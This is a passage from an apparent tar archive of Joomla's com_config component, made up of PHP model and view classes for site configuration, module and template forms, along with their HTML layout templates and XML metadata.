(!$this->__state_set) { // Protected method to auto-populate the model state. $this->populateState(); // Set the model state set flag to true. $this->__state_set = true; } return $this->state; } /** * Method to register paths for tables * * @param array $config Configuration array * * @return object The property where specified, the state object where omitted * * @since 3.2 */ public function registerTablePaths($config = array()) { // Set the default view search path if (array_key_exists('table_path', $config)) { $this->addTablePath($config['table_path']); } elseif (defined('JPATH_COMPONENT_ADMINISTRATOR')) { // Register the paths for the form $paths = new SplPriorityQueue; $paths->insert(JPATH_COMPONENT_ADMINISTRATOR . '/table', 'normal'); // For legacy purposes. Remove for 4.0 $paths->insert(JPATH_COMPONENT_ADMINISTRATOR . '/tables', 'normal'); } } /** * Clean the cache * * @param string $group The cache group * @param integer $clientId The ID of the client * * @return void * * @since 3.2 */ protected function cleanCache($group = null, $clientId = 0) { $conf = JFactory::getConfig(); $dispatcher = JEventDispatcher::getInstance(); $options = array( 'defaultgroup' => $group ?: (isset($this->option) ? $this->option : JFactory::getApplication()->input->get('option')), 'cachebase' => $clientId ? JPATH_ADMINISTRATOR . '/cache' : $conf->get('cache_path', JPATH_SITE . '/cache')); $cache = JCache::getInstance('callback', $options); $cache->clean(); // Trigger the onContentCleanCache event. $dispatcher->trigger($this->event_clean_cache, $options); } /** * Method to auto-populate the model state. * * This method should only be called once per instantiation and is designed * to be called on the first call to the getState() method unless the model * configuration flag to ignore the request is set. * * @return void * * @note Calling getState in this method will result in recursion. * @since 3.2 */ protected function populateState() { $this->loadState(); } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission set in the component. * * @since 3.2 */ protected function canDelete($record) { if (empty($record->id) || $record->published != -2) { return false; } return JFactory::getUser()->authorise('core.delete', $this->option); } /** * Method to test whether a record can have its state changed. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * * @since 3.2 */ protected function canEditState($record) { return JFactory::getUser()->authorise('core.edit.state', $this->option); } } model/config.php000064400000001631152325744500007632 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Model for the global configuration * * @since 3.2 */ class ConfigModelConfig extends ConfigModelForm { /** * Method to get a form object. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * * @since 3.2 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_config.config', 'config', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } } model/form.php000064400000021104152325744500007325 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\Utilities\ArrayHelper; /** * Prototype form model. * * @see JForm * @see JFormField * @see JFormRule * @since 3.2 */ abstract class ConfigModelForm extends ConfigModelCms { /** * Array of form objects. * * @var array * @since 3.2 */ protected $forms = array(); /** * Method to checkin a row. * * @param integer $pk The numeric id of the primary key. * * @return boolean False on failure or error, true otherwise. * * @since 3.2 * @throws RuntimeException */ public function checkin($pk = null) { // Only attempt to check the row in if it exists. if ($pk) { $user = JFactory::getUser(); // Get an instance of the row to checkin. $table = $this->getTable(); if (!$table->load($pk)) { throw new RuntimeException($table->getError()); } // Check if this is the user has previously checked out the row. if ($table->checked_out > 0 && $table->checked_out != $user->get('id') && !$user->authorise('core.admin', 'com_checkin')) { throw new RuntimeException($table->getError()); } // Attempt to check the row in. if (!$table->checkin($pk)) { throw new RuntimeException($table->getError()); } } return true; } /** * Method to check-out a row for editing. * * @param integer $pk The numeric id of the primary key. * * @return boolean False on failure or error, true otherwise. * * @since 3.2 */ public function checkout($pk = null) { // Only attempt to check the row in if it exists. if ($pk) { $user = JFactory::getUser(); // Get an instance of the row to checkout. $table = $this->getTable(); if (!$table->load($pk)) { throw new RuntimeException($table->getError()); } // Check if this is the user having previously checked out the row. if ($table->checked_out > 0 && $table->checked_out != $user->get('id')) { throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH')); } // Attempt to check the row out. if (!$table->checkout($user->get('id'), $pk)) { throw new RuntimeException($table->getError()); } } return true; } /** * Abstract method for getting the form from the model. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * * @since 3.2 */ abstract public function getForm($data = array(), $loadData = true); /** * Method to get a form object. * * @param string $name The name of the form. * @param string $source The form source. Can be XML string if file flag is set to false. * @param array $options Optional array of options for the form creation. * @param boolean $clear Optional argument to force load a new form. * @param string $xpath An optional xpath to search for the fields. * * @return mixed JForm object on success, False on error. * * @see JForm * @since 3.2 */ protected function loadForm($name, $source = null, $options = array(), $clear = false, $xpath = false) { // Handle the optional arguments. $options['control'] = ArrayHelper::getValue($options, 'control', false); // Create a signature hash. $hash = sha1($source . serialize($options)); // Check if we can use a previously loaded form. if (isset($this->_forms[$hash]) && !$clear) { return $this->_forms[$hash]; } // Get the form. // Register the paths for the form -- failing here $paths = new SplPriorityQueue; $paths->insert(JPATH_COMPONENT_ADMINISTRATOR . '/model/form', 'normal'); $paths->insert(JPATH_COMPONENT_ADMINISTRATOR . '/model/field', 'normal'); $paths->insert(JPATH_COMPONENT . '/model/form', 'normal'); $paths->insert(JPATH_COMPONENT . '/model/field', 'normal'); $paths->insert(JPATH_COMPONENT . '/model/rule', 'normal'); // Legacy support to be removed in 4.0. -- failing here $paths->insert(JPATH_COMPONENT . '/models/forms', 'normal'); $paths->insert(JPATH_COMPONENT . '/models/fields', 'normal'); $paths->insert(JPATH_COMPONENT . '/models/rules', 'normal'); // Solution until JForm supports splqueue JForm::addFormPath(JPATH_COMPONENT . '/models/forms'); JForm::addFieldPath(JPATH_COMPONENT . '/models/fields'); JForm::addFormPath(JPATH_COMPONENT_ADMINISTRATOR . '/model/form'); JForm::addFieldPath(JPATH_COMPONENT_ADMINISTRATOR . '/model/field'); JForm::addFormPath(JPATH_COMPONENT . '/model/form'); JForm::addFieldPath(JPATH_COMPONENT . '/model/field'); try { $form = JForm::getInstance($name, $source, $options, false, $xpath); if (isset($options['load_data']) && $options['load_data']) { // Get the data for the form. $data = $this->loadFormData(); } else { $data = array(); } // Allow for additional modification of the form, and events to be triggered. // We pass the data because plugins may require it. $this->preprocessForm($form, $data); // Load the data into the form after the plugins have operated. $form->bind($data); } catch (Exception $e) { JFactory::getApplication()->enqueueMessage($e->getMessage()); return false; } // Store the form for later. $this->_forms[$hash] = $form; return $form; } /** * Method to get the data that should be injected in the form. * * @return array The default data is an empty array. * * @since 3.2 */ protected function loadFormData() { return array(); } /** * Method to allow derived classes to preprocess the data. * * @param string $context The context identifier. * @param mixed &$data The data to be processed. It gets altered directly. * * @return void * * @since 3.2 */ protected function preprocessData($context, &$data) { // Get the dispatcher and load the users plugins. $dispatcher = JEventDispatcher::getInstance(); JPluginHelper::importPlugin('content'); // Trigger the data preparation event. $results = $dispatcher->trigger('onContentPrepareData', array($context, $data)); // Check for errors encountered while preparing the data. if (count($results) > 0 && in_array(false, $results, true)) { JFactory::getApplication()->enqueueMessage($dispatcher->getError(), 'error'); } } /** * Method to allow derived classes to preprocess the form. * * @param JForm $form A JForm object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @see JFormField * @since 3.2 * @throws Exception if there is an error in the form event. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { // Import the appropriate plugin group. JPluginHelper::importPlugin($group); // Get the dispatcher. $dispatcher = JEventDispatcher::getInstance(); // Trigger the form preparation event. $results = $dispatcher->trigger('onContentPrepareForm', array($form, $data)); // Check for errors encountered while preparing the form. if (count($results) && in_array(false, $results, true)) { // Get the last error. $error = $dispatcher->getError(); if (!($error instanceof Exception)) { throw new Exception($error); } } } /** * Method to validate the form data. * * @param JForm $form The form to validate against. * @param array $data The data to validate. * @param string $group The name of the field group to validate. * * @return mixed Array of filtered data if valid, false otherwise. * * @see JFormRule * @see JFilterInput * @since 3.2 */ public function validate($form, $data, $group = null) { // Filter and validate the form data. $data = $form->filter($data); $return = $form->validate($data, $group); // Check for an error. if ($return instanceof Exception) { JFactory::getApplication()->enqueueMessage($return->getMessage(), 'error'); return false; } // Check the validation results. if ($return === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $message) { if ($message instanceof Exception) { $message = $message->getMessage(); } JFactory::getApplication()->enqueueMessage($message, 'error'); } return false; } return $data; } } model/index.html000064400000000037152325744500007650 0ustar00<!DOCTYPE html><title></title> model/modules.php000064400000015022152325744500010034 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Config Module model. * * @since 3.2 */ class ConfigModelModules extends ConfigModelForm { /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 3.2 */ protected function populateState() { $app = JFactory::getApplication('administrator'); // Load the User state. $pk = $app->input->getInt('id'); $state = $this->loadState(); $state->set('module.id', $pk); $this->setState($state); } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return JForm A JForm object on success, false on failure * * @since 3.2 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_config.modules', 'modules', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } $form->setFieldAttribute('position', 'client', 'site'); return $form; } /** * Method to preprocess the form * * @param JForm $form A form object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @since 3.2 * @throws Exception if there is an error loading the form. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { jimport('joomla.filesystem.path'); $lang = JFactory::getLanguage(); $module = $this->getState()->get('module.name'); $basePath = JPATH_BASE; $formFile = JPath::clean($basePath . '/modules/' . $module . '/' . $module . '.xml'); // Load the core and/or local language file(s). $lang->load($module, $basePath, null, false, true) || $lang->load($module, $basePath . '/modules/' . $module, null, false, true); if (file_exists($formFile)) { // Get the module form. if (!$form->loadFile($formFile, false, '//config')) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Attempt to load the xml file. if (!$xml = simplexml_load_file($formFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } } // Load the default advanced params JForm::addFormPath(JPATH_BASE . '/components/com_config/model/form'); $form->loadFile('modules_advanced', false); // Trigger the default form events. parent::preprocessForm($form, $data, $group); } /** * Method to get list of module positions in current template * * @return array * * @since 3.2 */ public function getPositions() { $lang = JFactory::getLanguage(); $templateName = JFactory::getApplication()->getTemplate(); // Load templateDetails.xml file $path = JPath::clean(JPATH_BASE . '/templates/' . $templateName . '/templateDetails.xml'); $currentTemplatePositions = array(); if (file_exists($path)) { $xml = simplexml_load_file($path); if (isset($xml->positions[0])) { // Load language files $lang->load('tpl_' . $templateName . '.sys', JPATH_BASE, null, false, true) || $lang->load('tpl_' . $templateName . '.sys', JPATH_BASE . '/templates/' . $templateName, null, false, true); foreach ($xml->positions[0] as $position) { $value = (string) $position; $text = preg_replace('/[^a-zA-Z0-9_\-]/', '_', 'TPL_' . strtoupper($templateName) . '_POSITION_' . strtoupper($value)); // Construct list of positions $currentTemplatePositions[] = self::createOption($value, JText::_($text) . ' [' . $value . ']'); } } } $templateGroups = array(); // Add an empty value to be able to deselect a module position $option = self::createOption(); $templateGroups[''] = self::createOptionGroup('', array($option)); $templateGroups[$templateName] = self::createOptionGroup($templateName, $currentTemplatePositions); // Add custom position to options $customGroupText = JText::_('COM_MODULES_CUSTOM_POSITION'); $editPositions = true; $customPositions = self::getActivePositions(0, $editPositions); $templateGroups[$customGroupText] = self::createOptionGroup($customGroupText, $customPositions); return $templateGroups; } /** * Get a list of modules positions * * @param integer $clientId Client ID * @param boolean $editPositions Allow to edit the positions * * @return array A list of positions * * @since 3.6.3 */ public static function getActivePositions($clientId, $editPositions = false) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('DISTINCT position') ->from($db->quoteName('#__modules')) ->where($db->quoteName('client_id') . ' = ' . (int) $clientId) ->order($db->quoteName('position')); $db->setQuery($query); try { $positions = $db->loadColumn(); $positions = is_array($positions) ? $positions : array(); } catch (RuntimeException $e) { JError::raiseWarning(500, $e->getMessage()); return; } // Build the list $options = array(); foreach ($positions as $position) { if (!$position && !$editPositions) { $options[] = JHtml::_('select.option', 'none', ':: ' . JText::_('JNONE') . ' ::'); } else { $options[] = JHtml::_('select.option', $position, $position); } } return $options; } /** * Create and return a new Option * * @param string $value The option value [optional] * @param string $text The option text [optional] * * @return object The option as an object (stdClass instance) * * @since 3.6.3 */ private static function createOption($value = '', $text = '') { if (empty($text)) { $text = $value; } $option = new stdClass; $option->value = $value; $option->text = $text; return $option; } /** * Create and return a new Option Group * * @param string $label Value and label for group [optional] * @param array $options Array of options to insert into group [optional] * * @return array Return the new group as an array * * @since 3.6.3 */ private static function createOptionGroup($label = '', $options = array()) { $group = array(); $group['value'] = $label; $group['text'] = $label; $group['items'] = $options; return $group; } } model/templates.php000064400000006112152325744500010362 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Template style model. * * @since 3.2 */ class ConfigModelTemplates extends ConfigModelForm { /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return null * * @since 3.2 */ protected function populateState() { $state = $this->loadState(); // Load the parameters. $params = JComponentHelper::getParams('com_templates'); $state->set('params', $params); $this->setState($state); } /** * Method to get the record form. * * @param array $data An optional array of data for the form to interrogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return JForm A JForm object on success, false on failure * * @since 3.2 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_config.templates', 'templates', array('control' => 'jform', 'load_data' => $loadData)); try { $form = new JForm('com_config.templates'); $data = array(); $this->preprocessForm($form, $data); // Load the data into the form $form->bind($data); } catch (Exception $e) { JFactory::getApplication()->enqueueMessage($e->getMessage()); return false; } if (empty($form)) { return false; } return $form; } /** * Method to preprocess the form * * @param JForm $form A form object. * @param mixed $data The data expected for the form. * @param string $group Plugin group to load * * @return void * * @since 3.2 * @throws Exception if there is an error in the form event. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { $lang = JFactory::getLanguage(); $template = JFactory::getApplication()->getTemplate(); jimport('joomla.filesystem.path'); // Load the core and/or local language file(s). $lang->load('tpl_' . $template, JPATH_BASE, null, false, true) || $lang->load('tpl_' . $template, JPATH_BASE . '/templates/' . $template, null, false, true); // Look for com_config.xml, which contains fields to display $formFile = JPath::clean(JPATH_BASE . '/templates/' . $template . '/com_config.xml'); if (!file_exists($formFile)) { // If com_config.xml not found, fall back to templateDetails.xml $formFile = JPath::clean(JPATH_BASE . '/templates/' . $template . '/templateDetails.xml'); } // Get the template form. if (file_exists($formFile) && !$form->loadFile($formFile, false, '//config')) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Attempt to load the xml file. if (!$xml = simplexml_load_file($formFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Trigger the default form events. parent::preprocessForm($form, $data, $group); } } view/cms/html.php000064400000012437152325744500007773 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Prototype admin view. * * @since 3.2 */ abstract class ConfigViewCmsHtml extends JViewHtml { /** * The output of the template script. * * @var string * @since 3.2 */ protected $_output = null; /** * The name of the default template source file. * * @var string * @since 3.2 */ protected $_template = null; /** * The set of search directories for resources (templates) * * @var array * @since 3.2 */ protected $_path = array('template' => array(), 'helper' => array()); /** * Layout extension * * @var string * @since 3.2 */ protected $_layoutExt = 'php'; /** * Method to instantiate the view. * * @param JModel $model The model object. * @param SplPriorityQueue $paths The paths queue. * * @since 3.2 */ public function __construct(JModel $model, SplPriorityQueue $paths = null) { $app = JFactory::getApplication(); $component = JApplicationHelper::getComponentName(); $component = preg_replace('/[^A-Z0-9_\.-]/i', '', $component); if (isset($paths)) { $paths->insert(JPATH_THEMES . '/' . $app->getTemplate() . '/html/' . $component . '/' . $this->getName(), 2); } parent::__construct($model, $paths); } /** * Load a template file -- first look in the templates folder for an override * * @param string $tpl The name of the template source file; automatically searches the template paths and compiles as needed. * * @return string The output of the the template script. * * @since 3.2 * @throws Exception */ public function loadTemplate($tpl = null) { // Clear prior output $this->_output = null; $template = JFactory::getApplication()->getTemplate(); $layout = $this->getLayout(); // Create the template file name based on the layout $file = isset($tpl) ? $layout . '_' . $tpl : $layout; // Clean the file name $file = preg_replace('/[^A-Z0-9_\.-]/i', '', $file); $tpl = isset($tpl) ? preg_replace('/[^A-Z0-9_\.-]/i', '', $tpl) : $tpl; // Load the language file for the template $lang = JFactory::getLanguage(); $lang->load('tpl_' . $template, JPATH_BASE, null, false, true) || $lang->load('tpl_' . $template, JPATH_THEMES . "/$template", null, false, true); // Prevents adding path twise if (empty($this->_path['template'])) { // Adding template paths $this->paths->top(); $defaultPath = $this->paths->current(); $this->paths->next(); $templatePath = $this->paths->current(); $this->_path['template'] = array($defaultPath, $templatePath); } // Load the template script jimport('joomla.filesystem.path'); $filetofind = $this->_createFileName('template', array('name' => $file)); $this->_template = JPath::find($this->_path['template'], $filetofind); // If alternate layout can't be found, fall back to default layout if ($this->_template == false) { $filetofind = $this->_createFileName('', array('name' => 'default' . (isset($tpl) ? '_' . $tpl : $tpl))); $this->_template = JPath::find($this->_path['template'], $filetofind); } if ($this->_template != false) { // Unset so as not to introduce into template scope unset($tpl, $file); // Never allow a 'this' property if (isset($this->this)) { unset($this->this); } // Start capturing output into a buffer ob_start(); // Include the requested template filename in the local scope // (this will execute the view logic). include $this->_template; // Done with the requested template; get the buffer and // clear it. $this->_output = ob_get_contents(); ob_end_clean(); return $this->_output; } else { throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND', $file), 500); } } /** * Create the filename for a resource * * @param string $type The resource type to create the filename for * @param array $parts An associative array of filename information * * @return string The filename * * @since 3.2 */ protected function _createFileName($type, $parts = array()) { switch ($type) { case 'template': $filename = strtolower($parts['name']) . '.' . $this->_layoutExt; break; default: $filename = strtolower($parts['name']) . '.php'; break; } return $filename; } /** * Method to get the view name * * The model name by default parsed using the classname, or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @since 3.2 * @throws Exception */ public function getName() { if (empty($this->_name)) { $classname = get_class($this); $viewpos = strpos($classname, 'View'); if ($viewpos === false) { throw new Exception(JText::_('JLIB_APPLICATION_ERROR_VIEW_GET_NAME'), 500); } $lastPart = substr($classname, $viewpos + 4); $pathParts = explode(' ', JStringNormalise::fromCamelCase($lastPart)); if (!empty($pathParts[1])) { $this->_name = strtolower($pathParts[0]); } else { $this->_name = strtolower($lastPart); } } return $this->_name; } } view/cms/index.html000064400000000037152325744500010304 0ustar00<!DOCTYPE html><title></title> view/cms/json.php000064400000001151152325744500007767 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * Prototype admin view. * * @since 3.2 */ abstract class ConfigViewCmsJson extends ConfigViewCmsHtml { public $state; public $data; /** * Method to render the view. * * @return string The rendered view. * * @since 3.2 */ public function render() { $this->data = $this->model->getData(); return json_encode($this->data); } } view/config/tmpl/default.php000064400000003430152325744500012103 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Load tooltips behavior JHtml::_('behavior.formvalidator'); JHtml::_('bootstrap.tooltip'); JHtml::_('formbehavior.chosen', 'select'); JFactory::getDocument()->addScriptDeclaration(" Joomla.submitbutton = function(task) { if (task == 'config.cancel' || document.formvalidator.isValid(document.getElementById('application-form'))) { Joomla.submitform(task, document.getElementById('application-form')); } } "); ?> <form action="<?php echo JRoute::_('index.php?option=com_config'); ?>" id="application-form" method="post" name="adminForm" class="form-validate"> <div class="row-fluid"> <!-- Begin Content --> <div class="btn-toolbar" role="toolbar" aria-label="<?php echo JText::_('JTOOLBAR'); ?>"> <div class="btn-group"> <button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('config.save.config.apply')"> <span class="icon-ok"></span> <?php echo JText::_('JSAVE') ?> </button> </div> <div class="btn-group"> <button type="button" class="btn" onclick="Joomla.submitbutton('config.cancel')"> <span class="icon-cancel"></span> <?php echo JText::_('JCANCEL') ?> </button> </div> </div> <hr class="hr-condensed" /> <div id="page-site" class="tab-pane active"> <div class="row-fluid"> <?php echo $this->loadTemplate('site'); ?> <?php echo $this->loadTemplate('metadata'); ?> <?php echo $this->loadTemplate('seo'); ?> </div> </div> <input type="hidden" name="task" value="" /> <?php echo JHtml::_('form.token'); ?> <!-- End Content --> </div> </form> view/config/tmpl/default.xml000064400000000757152325744500012125 0ustar00<?xml version="1.0" encoding="utf-8"?> <metadata> <layout title="COM_CONFIG_CONFIG_VIEW_DEFAULT_TITLE" option="COM_CONFIG_CONFIG_VIEW_DEFAULT_OPTION"> <help key = "JHELP_MENUS_MENU_ITEM_DISPLAY_SITE_CONFIGURATION" /> <message> <![CDATA[COM_CONFIG_CONFIG_VIEW_DEFAULT_DESC]]> </message> </layout> <fields name="request"> <fieldset name="request"> <field name="controller" type="hidden" default="config.display.config" /> </fieldset> </fields> </metadata>view/config/tmpl/default_metadata.php000064400000001175152325744500013747 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> <fieldset class="form-horizontal"> <legend><?php echo JText::_('COM_CONFIG_METADATA_SETTINGS'); ?></legend> <?php foreach ($this->form->getFieldset('metadata') as $field) : ?> <div class="control-group"> <div class="control-label"><?php echo $field->label; ?></div> <div class="controls"><?php echo $field->input; ?></div> </div> <?php endforeach; ?> </fieldset> view/config/tmpl/default_seo.php000064400000001163152325744500012752 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> <fieldset class="form-horizontal"> <legend><?php echo JText::_('COM_CONFIG_SEO_SETTINGS'); ?></legend> <?php foreach ($this->form->getFieldset('seo') as $field) : ?> <div class="control-group"> <div class="control-label"><?php echo $field->label; ?></div> <div class="controls"><?php echo $field->input; ?></div> </div> <?php endforeach; ?> </fieldset> view/config/tmpl/default_site.php000064400000001165152325744500013132 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> <fieldset class="form-horizontal"> <legend><?php echo JText::_('COM_CONFIG_SITE_SETTINGS'); ?></legend> <?php foreach ($this->form->getFieldset('site') as $field) : ?> <div class="control-group"> <div class="control-label"><?php echo $field->label; ?></div> <div class="controls"><?php echo $field->input; ?></div> </div> <?php endforeach; ?> </fieldset> view/config/tmpl/index.html000064400000000037152325744500011743 0ustar00<!DOCTYPE html><title></title> view/config/html.php000064400000001230152325744500010443 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * View for the global configuration * * @since 3.2 */ class ConfigViewConfigHtml extends ConfigViewCmsHtml { public $form; public $data; /** * Method to render the view. * * @return string The rendered view. * * @since 3.2 */ public function render() { $user = JFactory::getUser(); $this->userIsSuperAdmin = $user->authorise('core.admin'); return parent::render(); } } view/config/index.html000064400000000037152325744500010767 0ustar00<!DOCTYPE html><title></title> view/modules/tmpl/default.php000064400000014044152325744500012311 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JHtml::_('bootstrap.tooltip'); JHtml::_('behavior.formvalidator'); JHtml::_('behavior.keepalive'); JHtml::_('behavior.combobox'); JHtml::_('formbehavior.chosen', 'select'); jimport('joomla.filesystem.file'); $editorText = false; $moduleXml = JPATH_SITE . '/modules/' . $this->item['module'] . '/' . $this->item['module'] . '.xml'; if (JFile::exists($moduleXml)) { $xml = simplexml_load_file($moduleXml); if (isset($xml->customContent)) { $editorText = true; } } // If multi-language site, make language read-only if (JLanguageMultilang::isEnabled()) { $this->form->setFieldAttribute('language', 'readonly', 'true'); } JFactory::getDocument()->addScriptDeclaration(" Joomla.submitbutton = function(task) { if (task == 'config.cancel.modules' || document.formvalidator.isValid(document.getElementById('modules-form'))) { Joomla.submitform(task, document.getElementById('modules-form')); } } "); ?> <form action="<?php echo JRoute::_('index.php?option=com_config'); ?>" method="post" name="adminForm" id="modules-form" class="form-validate"> <div class="row-fluid"> <!-- Begin Content --> <div class="span12"> <div class="btn-toolbar" role="toolbar" aria-label="<?php echo JText::_('JTOOLBAR'); ?>"> <div class="btn-group"> <button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('config.save.modules.apply')"> <span class="icon-apply" aria-hidden="true"></span> <?php echo JText::_('JAPPLY'); ?> </button> </div> <div class="btn-group"> <button type="button" class="btn" onclick="Joomla.submitbutton('config.save.modules.save')"> <span class="icon-save" aria-hidden="true"></span> <?php echo JText::_('JSAVE'); ?> </button> </div> <div class="btn-group"> <button type="button" class="btn" onclick="Joomla.submitbutton('config.cancel.modules')"> <span class="icon-cancel" aria-hidden="true"></span> <?php echo JText::_('JCANCEL'); ?> </button> </div> </div> <hr class="hr-condensed" /> <legend><?php echo JText::_('COM_CONFIG_MODULES_SETTINGS_TITLE'); ?></legend> <div> <?php echo JText::_('COM_CONFIG_MODULES_MODULE_NAME'); ?> <span class="label label-default"><?php echo $this->item['title']; ?></span> <?php echo JText::_('COM_CONFIG_MODULES_MODULE_TYPE'); ?> <span class="label label-default"><?php echo $this->item['module']; ?></span> </div> <hr /> <div class="row-fluid"> <div class="span12"> <fieldset class="form-horizontal"> <div class="control-group"> <div class="control-label"> <?php echo $this->form->getLabel('title'); ?> </div> <div class="controls"> <?php echo $this->form->getInput('title'); ?> </div> </div> <div class="control-group"> <div class="control-label"> <?php echo $this->form->getLabel('showtitle'); ?> </div> <div class="controls"> <?php echo $this->form->getInput('showtitle'); ?> </div> </div> <div class="control-group"> <div class="control-label"> <?php echo $this->form->getLabel('position'); ?> </div> <div class="controls"> <?php echo $this->loadTemplate('positions'); ?> </div> </div> <hr /> <?php if (JFactory::getUser()->authorise('core.edit.state', 'com_modules.module.' . $this->item['id'])) : ?> <div class="control-group"> <div class="control-label"> <?php echo $this->form->getLabel('published'); ?> </div> <div class="controls"> <?php echo $this->form->getInput('published'); ?> </div> </div> <?php endif ?> <div class="control-group"> <div class="control-label"> <?php echo $this->form->getLabel('publish_up'); ?> </div> <div class="controls"> <?php echo $this->form->getInput('publish_up'); ?> </div> </div> <div class="control-group"> <div class="control-label"> <?php echo $this->form->getLabel('publish_down'); ?> </div> <div class="controls"> <?php echo $this->form->getInput('publish_down'); ?> </div> </div> <div class="control-group"> <div class="control-label"> <?php echo $this->form->getLabel('access'); ?> </div> <div class="controls"> <?php echo $this->form->getInput('access'); ?> </div> </div> <div class="control-group"> <div class="control-label"> <?php echo $this->form->getLabel('ordering'); ?> </div> <div class="controls"> <?php echo $this->form->getInput('ordering'); ?> </div> </div> <div class="control-group"> <div class="control-label"> <?php echo $this->form->getLabel('language'); ?> </div> <div class="controls"> <?php echo $this->form->getInput('language'); ?> </div> </div> <div class="control-group"> <div class="control-label"> <?php echo $this->form->getLabel('note'); ?> </div> <div class="controls"> <?php echo $this->form->getInput('note'); ?> </div> </div> <hr /> <div id="options"> <?php echo $this->loadTemplate('options'); ?> </div> <?php if ($editorText) : ?> <div class="tab-pane" id="custom"> <?php echo $this->form->getInput('content'); ?> </div> <?php endif; ?> </fieldset> </div> <input type="hidden" name="id" value="<?php echo $this->item['id']; ?>" /> <input type="hidden" name="return" value="<?php echo JFactory::getApplication()->input->get('return', null, 'base64'); ?>" /> <input type="hidden" name="task" value="" /> <?php echo JHtml::_('form.token'); ?> </div> </div> <!-- End Content --> </div> </form> view/modules/tmpl/default_options.php000064400000002636152325744500014070 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $fieldSets = $this->form->getFieldsets('params'); echo JHtml::_('bootstrap.startAccordion', 'collapseTypes'); $i = 0; foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MODULES_' . $name . '_FIELDSET_LABEL'; $class = isset($fieldSet->class) && !empty($fieldSet->class) ? $fieldSet->class : ''; if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>'; 